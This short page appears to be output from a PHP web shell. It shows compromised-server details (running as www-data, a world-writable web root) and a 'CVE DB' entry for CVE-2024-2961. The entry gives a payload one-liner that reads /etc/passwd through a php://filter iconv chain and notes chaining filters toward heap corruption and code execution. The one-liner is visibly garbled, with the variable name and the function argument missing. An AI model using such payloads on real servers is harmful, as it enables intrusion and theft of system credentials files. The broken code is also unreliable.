Software: Apache/2.4.68 (Debian). PHP/8.2.33 uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/ drwxrwxrwx | |
|
[← Back to CVE DB] DescriptionOut-of-bounds write in the glibc iconv() implementation when converting ISO-2022-CN-EXT. In PHP, a file read primitive can be leveraged to write out of bounds and escalate to arbitrary code execution, frequently chained with SSRF/LFI. PoC / Payload — CVE-2024-2961 php -r '="php://filter/convert.iconv.ISO-2022-CN-EXT//CSISO2022CNEXT/resource=file:///etc/passwd"; echo file_get_contents();'\n# chain iconv filters to corrupt heap and get code exec |